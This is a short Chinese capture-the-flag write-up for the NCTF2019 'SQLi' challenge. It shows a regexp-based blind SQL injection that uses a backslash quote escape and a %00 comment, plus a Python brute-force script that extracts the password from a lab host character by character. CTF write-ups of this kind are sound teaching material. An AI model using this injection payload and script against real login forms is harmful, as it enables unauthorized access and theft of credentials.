[NCTF2019]SQLi
- regexp注入
![]()
robots.txt

hint.txt

可以看到过滤了很多东西,这里考虑regexp正则注入
正常查看一下用户

匹配成功会返回1

匹配失败返回0

测试一下返回结果,此处空字节%00用来注释

select * from users where username='\' and passwd=''||1;%00
相当于select * from users where username=''||1;%00
上脚本
#coding:utf-8
import requests
import time
import string
url = "http://fce2fdae-f628-4e9d-ba1b-8508a2dff0c6.node3.buuoj.cn/"
str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits
payload = ''
for n in range(100):
print(n)
for i in str_list:
data = {'username':'\\', 'passwd':'||passwd/**/regexp/**/"^{}";\x00'.format(payload+i)}
res = requests.post(url = url, data = data)
if 'welcome.php' in res.text:
payload += i
print(payload)
break
elif res.status_code == 429:
time.sleep(1)

用户名随意,输入密码即可获得flag
参考
https://blog.csdn.net/weixin_43610673/article/details/106029042


浙公网安备 33010602011771号